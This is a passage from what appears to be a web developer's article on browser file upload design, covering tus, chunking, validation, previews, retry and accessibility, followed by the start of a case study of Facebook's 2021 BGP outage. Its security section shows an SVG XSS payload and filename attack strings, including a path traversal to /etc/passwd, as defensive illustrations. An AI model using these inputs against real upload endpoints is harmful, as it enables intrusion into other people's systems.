      const patchResponse = await fetch(this.uploadUrl, {
        method: "PATCH",
        headers: {
          "Tus-Resumable": "1.0.0",
          "Upload-Offset": String(this.offset),
          "Content-Type": "application/offset+octet-stream",
        },
        body: chunk,
      })

      if (patchResponse.status !== 204) {
        throw new Error(`Chunk upload failed: ${patchResponse.status}`)
      }

      const newOffset = patchResponse.headers.get("Upload-Offset")
      this.offset = newOffset ? parseInt(newOffset, 10) : this.offset + chunk.size

      this.options.onProgress?.(this.offset, file.size)
    }

    if (!this.aborted) {
      this.options.onComplete?.(this.uploadUrl)
    }
  }

  abort(): void {
    this.aborted = true
  }

  getUploadUrl(): string | null {
    return this.uploadUrl
  }
}
```

**tus protocol headers:**

| Header            | Purpose                          | Required                    |
| ----------------- | -------------------------------- | --------------------------- |
| `Tus-Resumable`   | Protocol version (1.0.0)         | All requests except OPTIONS |
| `Upload-Length`   | Total file size                  | POST (creation)             |
| `Upload-Offset`   | Current byte position            | PATCH, HEAD response        |
| `Upload-Metadata` | Key-value pairs (base64 encoded) | Optional                    |
| `Upload-Expires`  | RFC 9110 datetime                | Server response             |

**tus status codes:**

| Code                    | Meaning                       |
| ----------------------- | ----------------------------- |
| 201 Created             | Upload resource created       |
| 204 No Content          | Chunk accepted                |
| 409 Conflict            | Offset mismatch               |
| 412 Precondition Failed | Unsupported protocol version  |
| 460                     | Checksum mismatch (extension) |

**Adopters:** Cloudflare, Vimeo, Supabase, Transloadit

**Trade-offs:**

- ✅ Standardized protocol with multiple server implementations
- ✅ Cross-session resume (upload URL persists)
- ✅ Optional checksum verification (extension)
- ❌ No native progress events (Fetch-based)
- ❌ Server must implement tus protocol
- ❌ More HTTP round-trips than proprietary protocols

### Decision Matrix

| Factor                | Single Request    | Chunked      | tus Protocol               |
| --------------------- | ----------------- | ------------ | -------------------------- |
| File size limit       | ~100 MB practical | Unlimited    | Unlimited                  |
| Resume capability     | None              | Same session | Cross-session              |
| Progress tracking     | Native XHR        | Per-chunk    | Per-chunk (no intra-chunk) |
| Server complexity     | Minimal           | Medium       | tus implementation         |
| Standardization       | N/A               | Custom       | Open standard              |
| Implementation effort | Low               | Medium       | Low (use library)          |

### Decision Framework

![Diagram](./diagram-1.svg)

## File Selection and Validation

### File Input Approaches

**Standard file input:**

```html
<input type="file" accept="image/*,.pdf" multiple />
```

The `accept` attribute filters the file picker but is advisory—users can still select any file. Always validate server-side.

**Directory selection (non-standard but widely supported):**

```html
<input type="file" webkitdirectory />
```

This selects entire directories. Each File object includes `webkitRelativePath` with the path relative to the selected directory. Supported in Chrome 6+, Firefox 50+, Safari 11.1+.

### Drag and Drop

```typescript title="drop-zone.ts" collapse={1-3,40-55}
function createDropZone(element: HTMLElement, onFiles: (files: File[]) => void): () => void {
  const handleDragOver = (e: DragEvent) => {
    e.preventDefault()
    e.dataTransfer!.dropEffect = "copy"
    element.classList.add("drag-over")
  }

  const handleDragLeave = () => {
    element.classList.remove("drag-over")
  }

  const handleDrop = (e: DragEvent) => {
    e.preventDefault()
    element.classList.remove("drag-over")

    const files: File[] = []

    // DataTransferItemList for directory support
    if (e.dataTransfer?.items) {
      for (const item of e.dataTransfer.items) {
        if (item.kind === "file") {
          const file = item.getAsFile()
          if (file) files.push(file)
        }
      }
    } else if (e.dataTransfer?.files) {
      // Fallback for older browsers
      files.push(...Array.from(e.dataTransfer.files))
    }

    onFiles(files)
  }

  element.addEventListener("dragover", handleDragOver)
  element.addEventListener("dragleave", handleDragLeave)
  element.addEventListener("drop", handleDrop)

  return () => {
    element.removeEventListener("dragover", handleDragOver)
    element.removeEventListener("dragleave", handleDragLeave)
    element.removeEventListener("drop", handleDrop)
  }
}
```

**DataTransfer security:**

Per the WHATWG specification, drag data is not available to scripts until the drop event completes. During dragover, `dataTransfer.files` is empty—you can only check `dataTransfer.types` to see if files are present.

### Client-Side Validation

**File type validation (magic bytes):**

The `file.type` property comes from file extension mapping, not actual content. A `.jpg` renamed to `.png` reports `image/png`. For security-sensitive applications, read the file header:

```typescript title="magic-bytes-validation.ts" collapse={1-2,35-50}
const MAGIC_SIGNATURES: Record<string, number[]> = {
  "image/jpeg": [0xff, 0xd8, 0xff],
  "image/png": [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a],
  "image/gif": [0x47, 0x49, 0x46, 0x38], // "GIF8"
  "image/webp": [0x52, 0x49, 0x46, 0x46], // "RIFF" (check offset 8 for "WEBP")
  "application/pdf": [0x25, 0x50, 0x44, 0x46], // "%PDF"
}

async function detectFileType(file: File): Promise<string | null> {
  const slice = file.slice(0, 12) // Read first 12 bytes
  const buffer = await slice.arrayBuffer()
  const bytes = new Uint8Array(buffer)

  for (const [mimeType, signature] of Object.entries(MAGIC_SIGNATURES)) {
    if (signature.every((byte, i) => bytes[i] === byte)) {
      // Special case: WebP requires additional check at offset 8
      if (mimeType === "image/webp") {
        const webpMarker = new TextDecoder().decode(bytes.slice(8, 12))
        if (webpMarker !== "WEBP") continue
      }
      return mimeType
    }
  }

  // Fallback to extension-based type
  return file.type || null
}
```

**Image dimension validation:**

```typescript title="dimension-validation.ts"
async function validateImageDimensions(
  file: File,
  maxWidth: number,
  maxHeight: number,
): Promise<{ width: number; height: number }> {
  const url = URL.createObjectURL(file)

  try {
    const img = await new Promise<HTMLImageElement>((resolve, reject) => {
      const image = new Image()
      image.onload = () => resolve(image)
      image.onerror = () => reject(new Error("Failed to load image"))
      image.src = url
    })

    if (img.width > maxWidth || img.height > maxHeight) {
      throw new Error(`Image ${img.width}x${img.height} exceeds max ${maxWidth}x${maxHeight}`)
    }

    return { width: img.width, height: img.height }
  } finally {
    URL.revokeObjectURL(url) // Always clean up
  }
}
```

### Security Considerations

Per OWASP File Upload Cheat Sheet:

**SVG files can execute JavaScript:**

```xml
<!-- Malicious SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS')</script>
</svg>
```

SVGs can contain `<script>` tags, event handlers (`onload`, `onclick`), `<foreignObject>` with HTML, and `xlink:href` with javascript URLs. Mitigation: sanitize SVGs server-side or convert to raster formats.

**Filename attacks:**

- Double extensions: `malware.php.jpg`
- Null bytes: `file.php%00.jpg`
- Path traversal: `../../../etc/passwd`

Always sanitize filenames server-side—generate UUIDs rather than preserving user-provided names.

**Content-Type mismatch:**

A file can have `.jpg` extension, `image/jpeg` Content-Type header, but actually be a PHP script. Validate content on the server by checking magic bytes, not just headers.

## Preview Generation

### URL.createObjectURL vs FileReader

| Aspect      | createObjectURL            | readAsDataURL          |
| ----------- | -------------------------- | ---------------------- |
| Speed       | Synchronous, instant       | Asynchronous, slower   |
| Memory      | URL reference only         | Full base64 in memory  |
| Output      | `blob:origin/uuid`         | `data:mime;base64,...` |
| Cleanup     | Manual `revokeObjectURL()` | Automatic (GC)         |
| Large files | Better                     | Memory intensive       |

**Recommendation:** Use `createObjectURL` for previews, always clean up.

```typescript title="image-preview.ts"
function createImagePreview(file: File, imgElement: HTMLImageElement): () => void {
  const url = URL.createObjectURL(file)
  imgElement.src = url

  // Return cleanup function
  return () => URL.revokeObjectURL(url)
}

// Usage with cleanup
const cleanup = createImagePreview(file, previewImg)
// Later, when preview no longer needed:
cleanup()
```

### Thumbnail Generation with OffscreenCanvas

For large images, generate thumbnails in a Web Worker to avoid blocking the main thread:

```typescript title="thumbnail-worker.ts" collapse={1-2,30-40}
// thumbnail-worker.ts
self.addEventListener("message", async (e: MessageEvent<File>) => {
  const file = e.data
  const maxSize = 200

  // createImageBitmap doesn't block and works in workers
  const bitmap = await createImageBitmap(file)

  // Calculate scaled dimensions
  let { width, height } = bitmap
  if (width > height) {
    if (width > maxSize) {
      height = (height * maxSize) / width
      width = maxSize
    }
  } else {
    if (height > maxSize) {
      width = (width * maxSize) / height
      height = maxSize
    }
  }

  // OffscreenCanvas enables canvas operations in workers
  const canvas = new OffscreenCanvas(width, height)
  const ctx = canvas.getContext("2d")!
  ctx.drawImage(bitmap, 0, 0, width, height)

  const blob = await canvas.convertToBlob({ type: "image/jpeg", quality: 0.8 })

  self.postMessage(blob)
})
```

```typescript title="main-thread.ts"
// main-thread.ts
const worker = new Worker("thumbnail-worker.ts", { type: "module" })

function generateThumbnail(file: File): Promise<Blob> {
  return new Promise((resolve) => {
    worker.onmessage = (e) => resolve(e.data)
    worker.postMessage(file)
  })
}
```

**Performance impact:**

Main thread canvas decode for 20MP JPEG: ~100-200ms (causes jank)
Web Worker with OffscreenCanvas: Same time but non-blocking

### Non-Image File Icons

For non-image files, use file type icons based on MIME type or extension:

```typescript title="file-icon.ts"
const FILE_ICONS: Record<string, string> = {
  "application/pdf": "pdf-icon.svg",
  "application/zip": "archive-icon.svg",
  "application/x-zip-compressed": "archive-icon.svg",
  "text/plain": "text-icon.svg",
  "video/": "video-icon.svg",
  "audio/": "audio-icon.svg",
}

function getFileIcon(file: File): string {
  // Check exact MIME type
  if (FILE_ICONS[file.type]) {
    return FILE_ICONS[file.type]
  }

  // Check MIME type prefix (video/, audio/)
  for (const [prefix, icon] of Object.entries(FILE_ICONS)) {
    if (prefix.endsWith("/") && file.type.startsWith(prefix)) {
      return icon
    }
  }

  return "generic-file-icon.svg"
}
```

## Progress Tracking and UX

### Progress Calculation for Chunked Uploads

```typescript title="progress-tracking.ts" collapse={1-5,45-55}
interface UploadProgress {
  file: File
  loaded: number
  total: number
  percent: number
  speed: number // bytes/second
  remaining: number // seconds
}

class ProgressTracker {
  private startTime = Date.now()
  private samples: Array<{ time: number; loaded: number }> = []

  constructor(private total: number) {}

  update(loaded: number): UploadProgress {
    const now = Date.now()
    this.samples.push({ time: now, loaded })

    // Keep last 5 seconds of samples for speed calculation
    const cutoff = now - 5000
    this.samples = this.samples.filter((s) => s.time > cutoff)

    // Calculate speed from samples
    let speed = 0
    if (this.samples.length >= 2) {
      const oldest = this.samples[0]
      const elapsed = (now - oldest.time) / 1000
      const bytesTransferred = loaded - oldest.loaded
      speed = elapsed > 0 ? bytesTransferred / elapsed : 0
    }

    const remaining = speed > 0 ? (this.total - loaded) / speed : Infinity

    return {
      loaded,
      total: this.total,
      percent: (loaded / this.total) * 100,
      speed,
      remaining,
    }
  }
}
```

### Multi-File Upload Queue

```typescript title="upload-queue.ts" collapse={1-8,70-90}
type UploadStatus = "pending" | "uploading" | "completed" | "failed"

interface QueuedUpload {
  id: string
  file: File
  status: UploadStatus
  progress: number
  error?: Error
}

class UploadQueue {
  private queue: QueuedUpload[] = []
  private concurrency: number
  private activeCount = 0
  private onUpdate?: (queue: QueuedUpload[]) => void

  constructor(options: { concurrency?: number; onUpdate?: (queue: QueuedUpload[]) => void }) {
    this.concurrency = options.concurrency ?? 3
    this.onUpdate = options.onUpdate
  }

  add(files: File[]): void {
    const newItems = files.map((file) => ({
      id: crypto.randomUUID(),
      file,
      status: "pending" as UploadStatus,
      progress: 0,
    }))

    this.queue.push(...newItems)
    this.notify()
    this.processNext()
  }

  private async processNext(): Promise<void> {
    if (this.activeCount >= this.concurrency) return

    const next = this.queue.find((item) => item.status === "pending")
    if (!next) return

    this.activeCount++
    next.status = "uploading"
    this.notify()

    try {
      await this.uploadFile(next)
      next.status = "completed"
      next.progress = 100
    } catch (error) {
      next.status = "failed"
      next.error = error as Error
    }

    this.activeCount--
    this.notify()
    this.processNext()
  }

  private async uploadFile(item: QueuedUpload): Promise<void> {
    // Implementation calls actual upload function
    // Updates item.progress during upload
  }

  private notify(): void {
    this.onUpdate?.(this.queue)
  }

  cancel(id: string): void {
    const item = this.queue.find((q) => q.id === id)
    if (item && item.status === "pending") {
      this.queue = this.queue.filter((q) => q.id !== id)
      this.notify()
    }
  }

  retry(id: string): void {
    const item = this.queue.find((q) => q.id === id)
    if (item && item.status === "failed") {
      item.status = "pending"
      item.progress = 0
      item.error = undefined
      this.notify()
      this.processNext()
    }
  }
}
```

### Error Handling and Retry

**Retry with exponential backoff:**

```typescript title="retry-logic.ts" collapse={1-3}
async function uploadWithRetry<T>(
  uploadFn: () => Promise<T>,
  options: { maxRetries?: number; baseDelay?: number } = {},
): Promise<T> {
  const { maxRetries = 3, baseDelay = 1000 } = options
  let lastError: Error

  for (let attempt = 0; attempt <= maxRetries; attempt++) {
    try {
      return await uploadFn()
    } catch (error) {
      lastError = error as Error

      // Don't retry on client errors (4xx)
      if (error instanceof Response && error.status >= 400 && error.status < 500) {
        throw error
      }

      if (attempt < maxRetries) {
        const delay = baseDelay * Math.pow(2, attempt)
        const jitter = delay * 0.2 * Math.random()
        await new Promise((r) => setTimeout(r, delay + jitter))
      }
    }
  }

  throw lastError!
}
```

**Error categorization:**

| Error Type                   | Retry? | User Message                   |
| ---------------------------- | ------ | ------------------------------ |
| Network error                | Yes    | "Connection lost. Retrying..." |
| 408, 429, 500, 502, 503, 504 | Yes    | "Server busy. Retrying..."     |
| 400 Bad Request              | No     | "Invalid file"                 |
| 401, 403                     | No     | "Permission denied"            |
| 413 Payload Too Large        | No     | "File too large"               |
| 415 Unsupported Media Type   | No     | "File type not allowed"        |

## Browser Constraints Deep Dive

### Storage for Resume State

For cross-session resume, store upload state in IndexedDB:

```typescript title="upload-state-store.ts" collapse={1-5,50-70}
interface StoredUploadState {
  id: string
  fileName: string
  fileSize: number
  uploadUrl: string
  offset: number
  createdAt: number
  // Store file reference if same session
  file?: File
}

class UploadStateStore {
  private db: IDBDatabase | null = null

  async init(): Promise<void> {
    return new Promise((resolve, reject) => {
      const request = indexedDB.open("upload-state", 1)

      request.onupgradeneeded = (e) => {
        const db = (e.target as IDBOpenDBRequest).result
        db.createObjectStore("uploads", { keyPath: "id" })
      }

      request.onsuccess = (e) => {
        this.db = (e.target as IDBOpenDBRequest).result
        resolve()
      }

      request.onerror = () => reject(request.error)
    })
  }

  async save(state: StoredUploadState): Promise<void> {
    if (!this.db) throw new Error("DB not initialized")

    return new Promise((resolve, reject) => {
      const tx = this.db!.transaction("uploads", "readwrite")
      const store = tx.objectStore("uploads")
      const request = store.put(state)
      request.onsuccess = () => resolve()
      request.onerror = () => reject(request.error)
    })
  }

  async getAll(): Promise<StoredUploadState[]> {
    if (!this.db) throw new Error("DB not initialized")

    return new Promise((resolve, reject) => {
      const tx = this.db!.transaction("uploads", "readonly")
      const store = tx.objectStore("uploads")
      const request = store.getAll()
      request.onsuccess = () => resolve(request.result)
      request.onerror = () => reject(request.error)
    })
  }

  async delete(id: string): Promise<void> {
    if (!this.db) throw new Error("DB not initialized")

    return new Promise((resolve, reject) => {
      const tx = this.db!.transaction("uploads", "readwrite")
      const store = tx.objectStore("uploads")
      const request = store.delete(id)
      request.onsuccess = () => resolve()
      request.onerror = () => reject(request.error)
    })
  }
}
```

**Storage limits:**

| Browser | IndexedDB Limit                        |
| ------- | -------------------------------------- |
| Chrome  | 60% of disk space                      |
| Firefox | 10% of disk or 10 GiB                  |
| Safari  | ~60% of disk (browser), ~15% (WebView) |

### Memory Management

**Avoid:**

```typescript
// ❌ Loads entire file into memory
const data = await file.arrayBuffer()
upload(data)
```

**Prefer:**

```typescript
// ✅ Constant memory with chunking
for (let offset = 0; offset < file.size; offset += chunkSize) {
  const chunk = file.slice(offset, offset + chunkSize)
  await uploadChunk(chunk)
}
```

**Blob URL cleanup pattern:**

```typescript
// Track all created URLs
const activeUrls = new Set<string>()

function createTrackedUrl(blob: Blob): string {
  const url = URL.createObjectURL(blob)
  activeUrls.add(url)
  return url
}

function revokeUrl(url: string): void {
  URL.revokeObjectURL(url)
  activeUrls.delete(url)
}

// Cleanup all on component unmount
function revokeAll(): void {
  activeUrls.forEach((url) => URL.revokeObjectURL(url))
  activeUrls.clear()
}
```

## Real-World Implementations

### Dropbox: Block-Based Deduplication

**Challenge:** Billions of files, many partially identical (document versions, moved files).

**Approach:**

- Files split into 4 MB blocks
- Each block hashed client-side
- Server checks which blocks already exist
- Only upload missing blocks
- Server assembles file from block references

**Key insight:** A 100 MB file with one changed paragraph uploads only ~4 MB.

**Stack:**

- Client: Content-addressable chunking
- Backend: Block storage with reference counting
- Protocol: Custom HTTP API with block-level operations

### Google Drive: Session-Based Resumable

**Approach:**

- Small files (<5 MB): Single request
- Large files: Resumable upload session

**Protocol details:**

- Session URI valid for 1 week
- 256 KB minimum chunk size
- `Content-Range` header specifies byte range
- 308 Resume Incomplete status for continuation

**Error recovery:**

1. On failure, query session with empty PUT
2. Server responds with `Range` header showing received bytes
3. Client resumes from that offset

### Slack: Two-Phase Upload

**Approach:**

- Phase 1: `files.getUploadURLExternal` - Get temporary upload URL
- Phase 2: Upload to URL, then `files.completeUploadExternal`

**Why two phases:**

- Upload URL keeps API tokens server-side
- Client uploads directly to storage, bypassing app servers
- Reduces load on API servers

**Limits:** 1 GB max (1 MB for code snippets)

### Discord: Attachment Processing

**Approach:**

- Files upload to CDN
- Images/videos processed server-side (thumbnails, transcoding)
- Proxied through CDN with size variants

**Client-side:**

- Progress tracking per file
- Concurrent upload limit (typically 3)
- Retry with exponential backoff

## Accessibility

### Keyboard Navigation

```typescript title="accessible-dropzone.ts"
function AccessibleDropzone({ onFiles }: { onFiles: (files: File[]) => void }) {
  const inputRef = useRef<HTMLInputElement>(null);

  const handleKeyDown = (e: KeyboardEvent) => {
    if (e.key === 'Enter' || e.key === ' ') {
      e.preventDefault();
      inputRef.current?.click();
    }
  };

  return (
    <div
      role="button"
      tabIndex={0}
      onKeyDown={handleKeyDown}
      aria-label="Upload files. Press Enter or Space to open file picker, or drag and drop files here."
    >
      <input
        ref={inputRef}
        type="file"
        multiple
        className="visually-hidden"
        onChange={(e) => onFiles(Array.from(e.target.files || []))}
      />
      <span aria-hidden="true">Drag files here or click to upload</span>
    </div>
  );
}
```

### Screen Reader Announcements

```typescript title="progress-announcements.ts"
function useProgressAnnouncement() {
  const [announcement, setAnnouncement] = useState('');

  const announce = useCallback((progress: number, fileName: string) => {
    // Announce at key milestones to avoid noise
    if (progress === 0) {
      setAnnouncement(`Starting upload of ${fileName}`);
    } else if (progress === 100) {
      setAnnouncement(`${fileName} upload complete`);
    } else if (progress % 25 === 0) {
      setAnnouncement(`${fileName}: ${progress}% uploaded`);
    }
  }, []);

  return {
    announce,
    AriaLive: () => (
      <div aria-live="polite" aria-atomic="true" className="visually-hidden">
        {announcement}
      </div>
    )
  };
}
```

### Error State Communication

```typescript title="error-state.ts"
function UploadError({ error, onRetry }: { error: Error; onRetry: () => void }) {
  return (
    <div role="alert" aria-live="assertive">
      <span>Upload failed: {error.message}</span>
      <button onClick={onRetry} aria-label="Retry failed upload">
        Retry
      </button>
    </div>
  );
}
```

## Conclusion

File upload design requires choosing between simplicity and robustness based on file size expectations and network reliability:

- **Under 5-10 MB**: Single XHR request with FormData provides native progress events with minimal complexity.
- **Over 10 MB**: Chunked uploads with `Blob.slice()` keep memory constant and enable resume.
- **Unreliable networks**: tus protocol or similar resumable protocol enables cross-session resume.

The key constraints driving these decisions:

- Fetch has no upload progress events—XHR remains necessary for progress tracking
- `Blob.slice()` is O(1) and safe for any file size
- `URL.createObjectURL()` leaks memory without explicit cleanup
- Client-side `file.type` is unreliable—validate with magic bytes for security

Production implementations (Dropbox, Google Drive, Slack) universally use chunked uploads for large files, with chunk sizes between 5-256 MB depending on their network assumptions.

## Appendix

### Prerequisites

- Browser File API (File, Blob, FileReader)
- XMLHttpRequest or Fetch API
- Basic understanding of HTTP multipart encoding

### Terminology

| Term        | Definition                                        |
| ----------- | ------------------------------------------------- |
| Chunk       | A slice of the file uploaded independently        |
| Offset      | Current byte position in the file                 |
| Resume      | Continuing upload from last successful offset     |
| tus         | Open protocol for resumable uploads (tus.io)      |
| Magic bytes | File signature bytes that identify true file type |
| Blob URL    | Browser-internal URL referencing in-memory data   |

### Summary

- Single-request XHR upload works for files under 5-10 MB with native progress events
- Chunked uploads with `Blob.slice()` enable constant memory usage and resume capability
- tus protocol provides standardized cross-session resume with multiple server implementations
- Always validate file types server-side—client-side `file.type` is based on extension only
- Clean up `URL.createObjectURL()` references to prevent memory leaks
- Use OffscreenCanvas in Web Workers for thumbnail generation to avoid main thread blocking
- Implement exponential backoff with jitter for retry logic

### References

- [W3C File API Specification](https://www.w3.org/TR/FileAPI/) - Authoritative File, Blob, and FileReader API specification
- [WHATWG XMLHttpRequest Standard](https://xhr.spec.whatwg.org/) - FormData and upload progress events
- [tus.io Protocol Specification](https://tus.io/protocols/resumable-upload) - Open resumable upload protocol (v1.0.0)
- [MDN: File API](https://developer.mozilla.org/en-US/docs/Web/API/File_API) - Implementation guide and browser support
- [MDN: Drag and Drop API](https://developer.mozilla.org/en-US/docs/Web/API/HTML_Drag_and_Drop_API) - DataTransfer and drop events
- [WHATWG Drag and Drop Specification](https://html.spec.whatwg.org/multipage/dnd.html) - Authoritative drag/drop behavior
- [OWASP File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html) - Security best practices
- [Chrome: Fetch Streaming Requests](https://developer.chrome.com/docs/capabilities/web-apis/fetch-streaming-requests) - Streaming upload limitations
- [Jake Archibald: Fetch streams aren't for progress](https://jakearchibald.com/2025/fetch-streams-not-for-progress/) - Why Fetch progress tracking is unreliable
- [AWS S3 Multipart Upload](https://docs.aws.amazon.com/AmazonS3/latest/userguide/mpuoverview.html) - AWS chunked upload protocol
- [Google Drive Upload API](https://developers.google.com/workspace/drive/api/guides/manage-uploads) - Resumable upload implementation
- [MDN: Storage Quotas](https://developer.mozilla.org/en-US/docs/Web/API/Storage_API/Storage_quotas_and_eviction_criteria) - IndexedDB storage limits
- [MDN: OffscreenCanvas](https://developer.mozilla.org/en-US/docs/Web/API/OffscreenCanvas) - Background image processing

---

## Facebook 2021 Outage: BGP Withdrawal, DNS Collapse, and the Backbone That Disappeared

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/facebook-2021-outage-analysis
**Category:** System Design / Real-World Case Studies
**Description:** How a routine maintenance command on Facebook’s backbone routers accidentally withdrew all BGP (Border Gateway Protocol) routes for AS32934, making Facebook’s authoritative DNS servers unreachable for ~6 hours on October 4, 2021. With 3.5 billion combined users across Facebook, Instagram, WhatsApp, and Messenger unable to resolve any Meta domain, this incident exposed what happens when DNS infrastructure, remote management, physical security, and internal tooling all depend on the same network backbone—and that backbone vanishes.

# Facebook 2021 Outage: BGP Withdrawal, DNS Collapse, and the Backbone That Disappeared

How a routine maintenance command on Facebook's backbone routers accidentally withdrew all BGP (Border Gateway Protocol) routes for AS32934, making Facebook's authoritative DNS servers unreachable for ~6 hours on October 4, 2021. With 3.5 billion combined users across Facebook, Instagram, WhatsApp, and Messenger unable to resolve any Meta domain, this incident exposed what happens when DNS infrastructure, remote management, physical security, and internal tooling all depend on the same network backbone—and that backbone vanishes.

<figure>

![The failure chain: a maintenance command severed backbone connectivity, triggering automated BGP route withdrawal. With no routes, DNS resolution failed globally. Recovery required physical access to data centers—itself delayed because security systems depended on the network.](./the-failure-chain-a-maintenance-command-severed-backbone-connectivity-triggering.svg)

<figcaption>The failure chain: a maintenance command severed backbone connectivity, triggering automated BGP route withdrawal. With no routes, DNS resolution failed globally. Recovery required physical access to data centers—itself delayed because security systems depended on the network.</figcaption>
</figure>

## Abstract

The mental model for this incident is a **dependency inversion collapse**—where the systems designed to recover from failures (remote management, internal tools, physical security) all depended on the very infrastructure that failed:

| Layer | What Failed | Why Recovery Was Hard |
|-------|------------|---------------------|
| **Backbone** | A maintenance command severed all inter-datacenter links | The audit tool meant to prevent this had a bug that let the command execute |
| **BGP** | Edge facilities auto-withdrew BGP routes because they could not reach data centers | This is a safety mechanism—advertising routes to unreachable servers causes black-hole traffic. The safety feature became the propagation mechanism for the outage. |
| **DNS** | Authoritative nameservers were running but unreachable—no BGP route existed to reach them | DNS TTLs expired within minutes; recursive resolvers worldwide returned SERVFAIL |
| **Management** | Remote access (SSH, OOB consoles) routed through the same backbone | With the backbone down, every remote recovery path was severed simultaneously |
| **Physical** | Badge readers, door locks, and security systems used the network | Engineers dispatched to data centers faced physical access delays |

The key insight is not that a configuration error caused an outage—that happens regularly. The insight is that **every recovery mechanism shared fate with the failure domain**. The backbone was a single dependency that, when removed, eliminated not just the service but every path to restoring the service. This is the canonical example of why out-of-band management must be truly out-of-band—not just a separate VLAN on the same physical network.

## Context

### The System

Facebook (now Meta) operates one of the largest internet infrastructures in the world. The architecture relevant to this incident spans three layers:

- **Backbone network**: Tens of thousands of miles of fiber-optic cables connecting Facebook's data centers globally. This is Facebook's private WAN (Wide Area Network)—distinct from the public internet. It carries inter-datacenter replication, internal service traffic, and management plane communications.
- **Edge facilities (PoPs)**: Smaller facilities at the edge of the network, co-located with major internet exchange points. These serve as the interface between Facebook's backbone and the public internet. Edge facilities run Facebook's **authoritative DNS servers** and handle BGP peering with upstream providers and peer networks.
- **Data centers**: Large-scale compute facilities housing the servers that run Facebook, Instagram, WhatsApp, Messenger, and internal services. These connect to edge facilities exclusively through the backbone.

Facebook's edge facilities perform a critical health check: they continuously verify that they can communicate with the data centers through the backbone. If an edge facility loses backbone connectivity, it **automatically withdraws its BGP route advertisements**. This is a deliberate safety mechanism—advertising routes to servers you cannot reach would cause a traffic black hole, where packets arrive but can never be delivered.

### The Trigger

**October 4, 2021, ~15:39 UTC**: A maintenance command is issued to backbone routers. The command is intended to assess the availability of global backbone capacity. Instead, it severs all backbone connections between Facebook's data centers.

**Key metrics at the time:**

| Metric | Value |
|--------|-------|
| Monthly active users (Facebook) | 2.89 billion |
| Combined users (FB + Instagram + WhatsApp + Messenger) | ~3.5 billion |
| BGP prefixes normally advertised by AS32934 | 300+ (IPv4 and IPv6) |
| Backbone span | Tens of thousands of miles of fiber |
| Revenue per hour (estimated) | ~$13 million |

### Constraints

- **Backbone is the single transport**: All inter-datacenter communication—production traffic, management, monitoring—traverses the backbone
- **DNS on the edge**: Facebook's authoritative DNS servers live in edge facilities that depend on backbone connectivity to declare themselves healthy
- **Out-of-band management**: Remote management tools (SSH, console servers) route through the same backbone infrastructure
- **Physical security**: Badge readers and door access controls at data centers use the corporate network

## The Problem

### Symptoms

At 15:39 UTC, backbone routers began processing the maintenance command. Within minutes:

1. All backbone links between data centers went down
2. Edge facilities detected loss of connectivity to data centers
3. Edge routers executed their safety logic: withdrew BGP route advertisements for AS32934
4. Facebook's authoritative DNS servers—physically operational in edge facilities—became unreachable from the public internet
5. DNS resolvers worldwide began returning SERVFAIL for all Meta-owned domains

From a user perspective: Facebook, Instagram, WhatsApp, and Messenger simultaneously became unreachable. No loading spinner, no error page—just connection timeouts and DNS resolution failures.

### Incident Timeline

| Time (UTC) | Event | Impact |
|------------|-------|--------|
| ~15:39 | Maintenance command issued to backbone routers | — |
| 15:39–15:42 | BGP route withdrawals begin propagating from AS32934 | First external observations of BGP instability |
| ~15:44 | DNS TTLs begin expiring for cached Facebook records | Resolvers that had cached records start failing |
| 15:53:47 | Complete BGP route withdrawal—zero routes to AS32934 remain in global routing tables | Facebook is fully unreachable from the entire internet |
| ~16:00 | HTTP 503 errors visible to users; SERVFAIL from all DNS resolvers | All Meta properties down globally |
| ~16:00–17:00 | Internal investigation hampered: remote access tools, internal wikis, Workplace all unavailable | Engineers coordinate via non-Facebook channels |
| ~17:00–19:00 | Engineers dispatched to data centers; physical access delays due to network-dependent security | On-site recovery begins |
| ~21:00 | First BGP routes re-announced; DNS servers begin responding | Initial service restoration |
| ~21:11 | Brief instability during recovery | Minor hiccup as routes propagate |
| ~21:30 | BGP routes stabilize; services progressively return | Full stabilization |
| ~22:05 | Services broadly restored | ~6.3 hours total outage |

### Root Cause Analysis

**Investigation process:**

1. **15:39–16:00 UTC**: External observers (Cloudflare, Kentik, RIPE NCC) detected the BGP withdrawal within minutes. Inside Facebook, engineers received alerts but quickly discovered that their investigation tools were also down—internal dashboards, remote router access, and communication platforms all depended on the backbone.
2. **16:00–17:00 UTC**: Engineers shifted to out-of-band communication (phone calls, non-Facebook messaging). They identified the backbone as the root failure but could not access backbone routers remotely—the management plane routed through the same backbone.
3. **17:00+ UTC**: Engineers were physically dispatched to data centers to access backbone routers via console connections.

**The actual root cause**: A maintenance command intended to assess backbone capacity contained an error that disconnected all backbone links. Facebook's systems include an audit tool designed to catch commands that would cause this kind of damage. The audit tool had a **bug** that failed to flag this specific command as dangerous. The command executed, the backbone went down, and the automated BGP safety mechanism did the rest.

### The BGP Cascade (Technical Detail)

Facebook operates AS32934 (Autonomous System 32934). Under normal conditions, Facebook's edge routers announce 300+ IPv4 and IPv6 prefixes to the global BGP routing table via peering sessions with upstream providers and internet exchange points.

The edge routers implement a health-check-based advertisement policy:

1. Edge facility continuously verifies backbone connectivity to data centers
2. If connectivity is confirmed: advertise BGP routes (tell the internet "you can reach Facebook through me")
3. If connectivity is lost: withdraw BGP routes (tell the internet "you can no longer reach Facebook through me")

This is correct behavior. Advertising routes to an unreachable destination creates a **black hole**—packets enter the network but can never reach their destination, consuming resources and causing silent failures. The withdrawal prevents this. But when _every_ edge facility simultaneously loses backbone connectivity, every edge facility simultaneously withdraws, and Facebook vanishes from the global routing table entirely.

**Specific prefix example**: Facebook's authoritative DNS server `a.ns.facebook.com` resolves to `129.134.30.12`, which lives in prefix `129.134.30.0/24` originated by AS32934. When this prefix was withdrawn, no router on the internet had a path to `129.134.30.12`. The DNS server was running—it just could not receive or respond to queries.

RIPE NCC's BGPlay visualization captured the withdrawal in real-time: over ~10 minutes starting at 15:42 UTC, all AS paths to AS32934 prefixes progressively disappeared. By 15:53:47 UTC, zero routes remained.

### The DNS Cascade

With BGP routes withdrawn, the DNS failure was immediate and total:

1. **Authoritative DNS servers unreachable**: Facebook's nameservers (`a.ns.facebook.com` through `d.ns.facebook.com`) were all hosted in Facebook's own edge infrastructure. With BGP routes gone, no recursive resolver could reach them.
